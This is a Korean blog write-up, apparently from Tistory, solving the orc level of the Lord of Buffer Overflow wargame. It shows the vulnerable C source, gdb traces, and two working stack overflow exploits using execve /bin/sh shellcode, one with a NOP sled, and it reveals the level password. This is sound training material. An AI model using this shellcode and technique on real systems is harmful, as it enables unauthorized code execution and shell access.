goblin / hackers proof
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
environ이란 변수가 등장한다. environment가 환경을 의미하는 단어다. 아래엔 memset으로 environ배열을 0으로 초기화한다. 즉, 환경 변수를 쓸 수 없다. 또 하나의 조건은 argv[1]의 48번째 문자가 '\xbf'이어야 한다.
orc 실행파일을 복사해서 gdb로 실행해 보자.
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40] //buffer 주소 ebp-40
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
strcpy의 인자로 buffer가 전달되기에 ebp-40이 buffer의 주소임을 알 수 있다.
첫 번째 방식
buffer(40 bytes)에 쉘 코드를 삽입하고 해당 주소로 retn하도록 하면 쉘 코드가 실행될 것이다.
쉘 코드는 25 bytes라서 buffer를 이용하면 충분히 bof 공격이 가능하다.
우선 orc를 ORC로 복사해서 gdb를 실행하였다.
argv[1]에는 쉘 코드(25 bytes)+"A"(19 bytes)+임의의 retn 주소를 전달하였다. 이를 통해 쉘 코드의 시작 주소를 알아내었다.
쉘 코드 시작 주소: 0xbffffab0
(gdb) b *main+189
Breakpoint 2 at 0x80485bd
(gdb) r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/goblin/ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`
Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/30x $ebp-44
0xbffffaac: 0x00000016 0x6850c031 0x68732f2f 0x69622f68
0xbffffabc: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x41414180
0xbffffacc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffadc: 0xbfbfbfbf 0x00000000 0xbffffb24 0xbffffb30
0xbffffaec: 0x40013868 0x00000002 0x08048450 0x00000000
0xbffffafc: 0x08048471 0x08048500 0x00000002 0xbffffb24
0xbffffb0c: 0x08048390 0x0804860c 0x4000ae60 0xbffffb1c
0xbffffb1c: 0x40013e90 0x00000002
ORC를 실행하며 인자로 retn 주소는 0xbffffab0을 주었다.
[goblin@localhost goblin]$ ./ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xb0\xfa\xff\xbf"'`
1h//shh/bin⏓°
̀AAAAAAAAAAAAAAAAAAA°
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -c core -q
Core was generated by `./ORC 1h//shh/bin⏓°
̀AAAAAAAAAAAAAAAAAAA°
Program terminated with signal 11, Segmentation fault.
#0 0xbffffab0 in ?? ()
(gdb) x/50x $esp -70
0xbffffaaa: 0xfae84010 0x85d3bfff 0x86590804 0xfac00804
0xbffffaba: 0x0017bfff 0xc0310000 0x2f2f6850 0x2f686873
0xbffffaca: 0x896e6962 0x895350e3 0xb0d231e1 0x4180cd0b
0xbffffada: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaea: 0xfab04141 0x0000bfff 0xfb340000 0xfb40bfff
0xbffffafa: 0x3868bfff 0x00024001 0x84500000 0x00000804
0xbffffb0a: 0x84710000 0x85000804 0x00020804 0xfb340000
0xbffffb1a: 0x8390bfff 0x860c0804 0xae600804 0xfb2c4000
0xbffffb2a: 0x3e90bfff 0x00024001 0xfc2e0000 0xfc34bfff
0xbffffb3a: 0x0000bfff 0xfc650000 0xfc76bfff 0xfc8ebfff
0xbffffb4a: 0xfcadbfff 0xfccfbfff 0xfcdbbfff 0xfe9ebfff
0xbffffb5a: 0xfebdbfff 0xfed9bfff 0xfeeebfff 0xff0cbfff
0xbffffb6a: 0xff17bfff 0xff30bfff
core dumped가 발생했다. core 파일을 gdb로 들여다보았다. 그 결과 쉘 코드 주소가 0xbffffac0으로 바뀌어 있었다.
이제 orc 파일을 실행해 보자. retn 주소는 0xbffffac0으로 설정한다.
[goblin@localhost goblin]$ ./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xc0\xfa\xff\xbf"'`
1h//shh/bin⏓°
̀AAAAAAAAAAAAAAAAAAAzÿ¿
bash$ my-pass
euid = 504
cantata
두 번째 방식
40 bytes(buffer)+4 bytes(sfp)를 "A"로 채우고 retn 주소(4 bytes)를 뒤에 전달할 \x90 주소중 하나로 선택한다. 이어서 '\x90'을 여유 있게 채우고 쉘 코드를 삽입한다. 이렇게 하면 main 함수 프롤로그 과정에서 retn에 의해 \x90 주소 중 하나로 이동하고, \x90은 NOP이기에 CPU는 \x90이 아닌 값이 나올 때까지 건너뛴다. 그러다가 쉘 코드를 만나서 실행하게 되는 것이다. retn 주소로 0xbffffa6c를 선택했다. 참고로 과정은 생략했는데 0xbffffa6c는 gdb 실행을 통해 알아내면 된다.
argv[1]에 전달하는 인자의 길이에 따라 스택의 메모리 주소 값이 달라진다. 이 점을 주의해서 retn 주소를 설정해야 한다. 나는 '\x90'의 개수를 200개로 설정했는데 100개로 한다면 주소값들이 200개일 때와 달라진다.
(gdb) r `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/goblin/orc2 `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/100x $ebp-44
0xbffff9cc: 0x00000016 0x41414141 0x41414141 0x41414141
0xbffff9dc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9ec: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9fc: 0xbffffa6c 0x90909090 0x90909090 0x90909090
0xbffffa0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa5c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa7c: 0x90909090 0x90909090 0x90909090 0x90909090---Type <return> to continue, or q <return> to quit---
0xbffffa8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa9c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffaac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffabc: 0x90909090 0x90909090 0x90909090 0x6850c031
0xbffffacc: 0x68732f2f 0x69622f68 0x50e3896e 0x31e18953
0xbffffadc: 0xcd0bb0d2 0x08040080 0x0000000b 0x000001f
[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl1h//shh/bin⏓°
̀
bash$ my-pass
euid = 504
cantata
`python ~~~' 명령어에 대해 궁금하면 내 티스토리의 ftz level11 글을 참고하길 바란다.
orc의 비밀번호: cantata
'Lord of Buffer Overflow' 카테고리의 다른 글
wolfman -> darkelf (0) | 2023.01.21 |
---|---|
orc -> wolfman (2) | 2023.01.21 |
cobolt -> goblin (2) | 2023.01.21 |
gremlin -> cobolt (0) | 2023.01.21 |
gate -> gremlin (0) | 2023.01.21 |